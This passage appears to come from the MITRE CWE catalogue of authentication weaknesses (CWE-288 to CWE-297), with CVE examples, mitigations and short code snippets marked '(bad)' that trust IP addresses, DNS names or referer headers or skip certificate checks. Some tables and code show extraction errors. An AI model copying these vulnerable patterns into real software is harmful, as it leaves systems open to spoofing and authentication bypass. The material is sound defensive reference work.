In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force with a large number of common words. Once the attacker gained access as the member of the support staff, he used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

### Observed Examples

Reference	Description
<b>CVE-2009-3421</b>	login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3421">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3421</a>
<b>CVE-2009-2382</b>	admin script allows authentication bypass by setting a cookie value to "LOGGEDIN". <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2382">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2382</a>
<b>CVE-2009-1048</b>	VOIP product allows authentication bypass using 127.0.0.1 in the Host header. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1048">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1048</a>
<b>CVE-2009-2213</b>	product uses default "Allow" action, instead of default deny, leading to authentication bypass. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213</a>
<b>CVE-2009-2168</b>	chain: redirect without exit (CWE-698) leads to resultant authentication bypass. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2168">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2168</a>

Reference	Description
<b>CVE-2009-3107</b>	product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3107">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3107</a>
<b>CVE-2009-1596</b>	product does not properly implement a security-related configuration setting, allowing authentication bypass. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1596">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1596</a>
<b>CVE-2009-2422</b>	authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2422">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2422</a>
<b>CVE-2009-3232</b>	authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3232">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3232</a>
<b>CVE-2009-3231</b>	use of LDAP authentication with anonymous binds causes empty password to result in successful authentication <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3231">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3231</a>
<b>CVE-2005-3435</b>	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435</a>
<b>CVE-2005-0408</b>	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0408">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0408</a>

### Functional Areas

- Authentication

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	1666

## CWE-288: Authentication Bypass Using an Alternate Path or Channel

<b>Weakness ID</b> : 288	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

A product requires authentication, but the product has an alternate path or channel that does not require authentication.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	599
ParentOf		425	Direct Request ('Forced Browsing')	861
PeerOf		420	Unprotected Alternate Channel	855
PeerOf		425	Direct Request ('Forced Browsing')	861

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	1650

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		840	Business Logic Errors	1588
ChildOf		287	Improper Authentication	599
ParentOf		425	Direct Request ('Forced Browsing')	861

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Architecture and Design

Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.

### Observed Examples

Reference	Description
<b>CVE-2000-1179</b>	Router allows remote attackers to read system logs without authentication by directly connecting to the login screen and typing certain control characters. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1179">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1179</a>
<b>CVE-1999-1454</b>	Attackers with physical access to the machine may bypass the password prompt by pressing the ESC (Escape) key. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1454">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1454</a>
<b>CVE-1999-1077</b>	OS allows local attackers to bypass the password protection of idled sessions via the programmer's switch or CMD-PWR keyboard sequence, which brings up a debugger that the attacker can use to disable the lock. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1077">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1077</a>
<b>CVE-2003-0304</b>	Direct request of installation file allows attacker to create administrator accounts. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0304">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0304</a>
<b>CVE-2002-0870</b>	Attackers may gain additional privileges by directly requesting the web management URL. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0870">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0870</a>
<b>CVE-2002-0066</b>	Bypass authentication via direct request to named pipe. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0066">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0066</a>
<b>CVE-2003-1035</b>	User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1035">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1035</a>

### MemberOf Relationships

127	Directory Indexing

## CWE-289: Authentication Bypass by Alternate Name

<b>Weakness ID</b> : 289	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

MemberOf		1010	Authenticate Actors	1650

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	599

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

**Phase: Architecture and Design**

*Strategy = Input Validation*

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2003-0317</b>	Protection mechanism that restricts URL access can be bypassed using URL encoding. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0317">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0317</a>
<b>CVE-2004-0847</b>	Bypass of authentication for files using "\" (backslash) or "%5C" (encoded backslash). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0847">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0847</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)	844	1589
MemberOf		947	SFP Secondary Cluster: Authentication Bypass	888	1621

### Notes

#### Relationship

Overlaps equivalent encodings, canonicalization, authorization, multiple trailing slash, trailing space, mixed case, and other equivalence issues.

#### Theoretical

Alternate names are useful in data driven manipulation attacks, not just for authentication.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication bypass by alternate name
CERT Java Secure Coding	IDS01-J		Normalize strings before validating them

## CWE-290: Authentication Bypass by Spoofing

**Weakness ID :** 290

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

This attack-focused weakness is caused by improperly implemented authentication schemes that are subject to spoofing attacks.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	1650

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	599
ParentOf		291	Reliance on IP Address for Authentication	611
ParentOf		293	Using Referer Field for Authentication	613
ParentOf		350	Reliance on Reverse DNS Resolution for a Security-Critical Action	731

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	
	<i>This weakness can allow an attacker to access resources which are not otherwise accessible without proper authentication.</i>	

### Demonstrative Examples

**Example 1:**

The following code authenticates users.

Example Language: Java

(bad)

```
String sourceIP = request.getRemoteAddr();if (sourceIP != null && sourceIP.equals(APPROVED_IP)) {authenticated = true;}
```

The authentication mechanism implemented relies on an IP address for source validation. If an attacker is able to spoof the IP, they may be able to bypass the authentication mechanism.

### Example 2:

Both of these examples check if a request is from a trusted address before responding to the request.

Example Language: C

(bad)

```
sd = socket(AF_INET, SOCK_DGRAM, 0);serv.sin_family = AF_INET;serv.sin_addr.s_addr =
htonl(INADDR_ANY);servr.sin_port = htons(1008);bind(sd, (struct sockaddr *) & serv, sizeof(serv)); while (1) {memset(msg,
0x0, MAX_MSG);clilen = sizeof(cli);if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {n = recvfrom(sd, msg, MAX_MSG, 0,
(struct sockaddr *) & cli, &clilen);}}
```

Example Language: Java

(bad)

```
while(true) { DatagramPacket rp=new DatagramPacket(rData,rData.length);outSock.receive(rp);String in = new
String(p.getData(),0, rp.getLength());InetAddress clientIPAddress = rp.getAddress();int port = rp.getPort(); if
(isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {out = secret.getBytes();DatagramPacket sp =new
DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);} }
```

The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client

### Example 3:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

Example Language: C

(bad)

```
struct hostent *hp;struct in_addr myaddr;char* tHost = "trustme.example.com";myaddr.s_addr=inet_addr(ip_addr_string); hp
= gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);if (hp && !strcmp(hp->h_name, tHost, sizeof(tHost)))
{trusted = true;} else {trusted = false;}
```

Example Language: Java

(bad)

```
String ip = request.getRemoteAddr();InetAddress addr = InetAddress.getByName(ip);if
(addr.getCanonicalHostName().endsWith("trustme.com")) {trusted = true;}
```

Example Language: C#

(bad)

```
IPAddress hostIPAddress = IPAddress.Parse(RemotelpAddress);IPHostEntry hostInfo =
Dns.GetHostByAddress(hostIPAddress);if (hostInfo.HostName.EndsWith("trustme.com")) {trusted = true;}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

## Observed Examples

Reference	Description
<b>CVE-2009-1048</b>	VOIP product allows authentication bypass using 127.0.0.1 in the Host header. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1048">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1048</a>

## CWE-291: Reliance on IP Address for Authentication

<b>Weakness ID</b> : 291	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software uses an IP address for authentication.

### Extended Description

IP addresses can be easily spoofed. Attackers can forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Hide Activities	
Non-Repudiation	Gain Privileges or Assume Identity	
<i>Malicious users can fake authentication information, impersonating any IP address.</i>		

## Potential Mitigations

### Phase: Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

## Demonstrative Examples

### Example 1:

Both of these examples check if a request is from a trusted address before responding to the request.

*Example Language: C*

*(bad)*

```
sd = socket(AF_INET, SOCK_DGRAM, 0);serv.sin_family = AF_INET;serv.sin_addr.s_addr =
htonl(INADDR_ANY);servr.sin_port = htons(1008);bind(sd, (struct sockaddr *) & serv, sizeof(serv)); while (1) {memset(msg,
0x0, MAX_MSG);cliilen = sizeof(cli);if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {n = recvfrom(sd, msg, MAX_MSG, 0,
(struct sockaddr *) & cli, &cliilen);}}
```

Example Language: Java

(bad)

```
while(true) { DatagramPacket rp=new DatagramPacket(rData,rData.length);outSock.receive(rp);String in = new
String(p.getData(),0, rp.getLength());InetAddress clientIPAddress = rp.getAddress();int port = rp.getPort(); if
(isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {out = secret.getBytes();DatagramPacket sp =new
DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);} }
```

The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.

## CWE-293: Using Referer Field for Authentication

**Weakness ID** : 293

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		290	Authentication Bypass by Spoofing	609

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	1650

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		290	Authentication Bypass by Spoofing	609

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Background Details

The referer field in HTML requests can be simply modified by malicious users, rendering it useless as a means of checking the validity of the request in question.

### Alternate Terms

**referrer** : While the proper spelling might be regarded as "referrer," the HTTP RFCs and their implementations use "referer," so this is regarded as the correct spelling.

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>Actions, which may not be authorized otherwise, can be carried out as if they were validated by the server referred to.</i>	

## Potential Mitigations

### Phase: Architecture and Design

In order to usefully check if a given action is authorized, some means of strong authentication and method protection must be used. Use other means of authorization that cannot be simply spoofed. Possibilities include a username/password or certificate.

## Demonstrative Examples

### Example 1:

The following code samples check a packet's referer in order to decide whether or not an inbound request is from a trusted host.

Example Language: C++

(bad)

```
String trustedReferer = "http://www.example.com/"while(true){n = read(newsock, buffer, BUFSIZE);requestPacket = processPacket(buffer, n);if (requestPacket.referer == trustedReferer){openNewSecureSession(requestPacket);}}
```

Example Language: Java

(bad)

```
boolean processConnectionRequest(HttpServletRequest request){String referer = request.getHeader("referer")String trustedReferer = "http://www.example.com/"if(referer.equals(trustedReferer)){openPrivilegedConnection(request);return true;}else{sendPrivilegeError(request);return false;}}
```

These examples check if a request is from a trusted referer before responding to a request, but the code only verifies the referer name as stored in the request packet. An attacker can spoof the referer, thus impersonating a trusted client.

## CWE-294: Authentication Bypass by Capture-replay

<b>Weakness ID</b> : 294	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

A capture-replay flaw exists when the design of the software makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).

### Extended Description

Capture-replay attacks are common and can be difficult to defeat without cryptography. They are a subset of network injection attacks that rely on observing previously-sent valid commands, then changing them slightly if necessary and resending the same commands to the server.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

MemberOf	C	1010	Authenticate Actors	1650

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	G	287	Improper Authentication	599

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>Messages sent with a capture-relay attack allow access to resources which are not otherwise accessible without proper authentication.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Utilize some sequence or time stamping functionality along with a checksum which takes this into account in order to ensure that messages can be parsed only once.

#### Phase: Architecture and Design

Since any attacker who can listen to traffic can see sequence numbers, it is necessary to sign messages with some kind of cryptography to ensure that sequence numbers are not simply doctored along with content.

### Observed Examples

Reference	Description
<b>CVE-2005-3435</b>	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435</a>
<b>CVE-2007-4961</b>	Chain: cleartext transmission of the MD5 hash of password (CWE-319) enables attacks against a server that is susceptible to replay (CWE-294). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4961">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4961</a>

## CWE-295: Improper Certificate Validation

**Weakness ID** : 295

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software does not validate, or incorrectly validates, a certificate.

### Extended Description

When a certificate is invalid or malicious, it might allow an attacker to spoof a trusted entity by using a man-in-the-middle (MITM) attack. The software might connect to a malicious host while believing it is a trusted host, or the software might be deceived into accepting spoofed data that appears to originate from a trusted host.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective:  
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

### Phase: Implementation

Certificates should be carefully managed and checked to assure that data are encrypted with the  
intended owner's public key.

### Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully  
validated before the certificate is pinned, including the hostname.

## Observed Examples

Reference	Description
<b>CVE-2014-1266</b>	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1266">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1266</a>

## CWE-296: Improper Following of a Certificate's Chain of Trust

**Weakness ID** : 296

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.

### Extended Description

If a system does not follow the chain of trust of a certificate to a root server, the certificate loses all usefulness as a metric of trust. Essentially, the trust gained from a certificate is derived from a chain of trust -- with a reputable trusted entity at the end of that list. The end user must trust that reputable source, and this reputable source must vouch for the resource in question through the medium of the certificate. In some cases, this trust traverses several entities who vouch for one another. The entity trusted by the end user is at one end of this trust chain, while the certificate-wielding resource is at the other end of the chain. If the user receives a certificate at the end of one of these trust chains and then proceeds to check only that the first link in the chain, no real trust has been derived, since the entire chain must be traversed back to a trusted source to verify the certificate. There are several ways in which the chain of trust might be broken, including but not limited to: Any certificate in the chain is self-signed, unless it the root. Not every intermediate certificate is checked, starting from the original certificate all the way up to the root certificate. An intermediate, CA-signed certificate does not have the expected Basic Constraints or other important extensions. The root certificate has been compromised or authorized to the wrong party.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1079
ChildOf		295	Improper Certificate Validation	616
PeerOf		370	Missing Check for Certificate Revocation after Initial Check	778

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1014	Identify Actors	1655

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	295	Improper Certificate Validation	616

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
	<i>Exploitation of this flaw can lead to the trust of data that may have originated with a spoofed source.</i>	
Integrity	Gain Privileges or Assume Identity	
Confidentiality	Execute Unauthorized Code or Commands	
Availability		
Access Control	<i>Data, requests, or actions taken by the attacking entity can be carried out as a spoofed benign entity.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Ensure that proper certificate checking is included in the system design.

#### Phase: Implementation

Understand, and properly implement all checks necessary to ensure the integrity of certificate trust integrity.

#### Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the full chain of trust.

### Demonstrative Examples

#### Example 1:

This code checks the certificate of a connected peer.

*Example Language: C*

*(bad)*

```
if ((cert = SSL_get_peer_certificate(ssl)) && host)foo=SSL_get_verify_result(ssl); if ((X509_V_OK==foo) ||
X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo) // certificate looks good, host can be trusted
```

In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or conducting a man-in-the-middle attack.

### Observed Examples

Reference	Description
<b>CVE-2016-2402</b>	Server allows bypass of certificate pinning by sending a chain of trust that includes a trusted CA that is not pinned. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2402">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2402</a>

## CWE-297: Improper Validation of Certificate with Host Mismatch

**Weakness ID** : 297

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Variant

### Description

The software communicates with a host that provides a certificate, but the software does not properly ensure that the certificate is actually associated with that host.

### Extended Description

Even if a certificate is well-formed, signed, and follows the chain of trust, it may simply be a valid certificate for a different site than the site that the software is interacting with. If the certificate's host-specific data is not properly checked - such as the Common Name (CN) in the Subject or

the Subject Alternative Name (SAN) extension of an X.509 certificate - it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data, impersonating a trusted host. In order to ensure data integrity, the certificate must be valid and it must pertain to the site that is being accessed. Even if the software attempts to check the hostname, it is still possible to incorrectly check the hostname. For example, attackers could create a certificate with a name that begins with a trusted name followed by a NUL byte, which could cause some string-based comparisons to only examine the portion that contains the trusted name. This weakness can occur even when the software uses Certificate Pinning, if the software does not verify the hostname at the time a certificate is pinned.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		295	Improper Certificate Validation	616
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1494
PeerOf		370	Missing Check for Certificate Revocation after Initial Check	778

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		295	Improper Certificate Validation	616

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1014	Identify Actors	1655

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		295	Improper Certificate Validation	616

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Paradigm** : Mobile (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>The data read from the system vouched for by the certificate may not be from the expected system.</i>	
Authentication Other	Other  <i>Trust afforded to the system in question - based on the malicious certificate - may allow for spoofing or redirection attacks.</i>	

## Detection Methods

## Dynamic Analysis with Manual Results Interpretation

Set up an untrusted endpoint (e.g. a server) with which the software will connect. Create a test certificate that uses an invalid hostname but is signed by a trusted CA and provide this certificate from the untrusted endpoint. If the software performs any operations instead of disconnecting and reporting an error, then this indicates that the hostname is not being checked and the test certificate has been accepted.

### Black Box

When Certificate Pinning is being used in a mobile application, consider using a tool such as Spinner [REF-955]. This methodology might be extensible to other technologies.

## Potential Mitigations

### Phase: Architecture and Design

Fully check the hostname of the certificate and provide the user with adequate information about the nature of the problem and how to proceed.

### Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.

## Demonstrative Examples

### Example 1:

The following OpenSSL code obtains a certificate and verifies it.

*Example Language: C*

*(bad)*

```
cert = SSL_get_peer_certificate(ssl); if (cert && (SSL_get_verify_result(ssl) == X509_V_OK)) { // do secret things }
```

Even though the "verify" step returns X509\_V\_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate.

## Observed Examples

Reference	Description
<b>CVE-2012-5810</b>	Mobile banking application does not verify hostname, leading to financial loss. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5810">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5810</a>
<b>CVE-2012-5811</b>	Mobile application for printing documents does not verify hostname, allowing attackers to read sensitive documents. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5811">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5811</a>
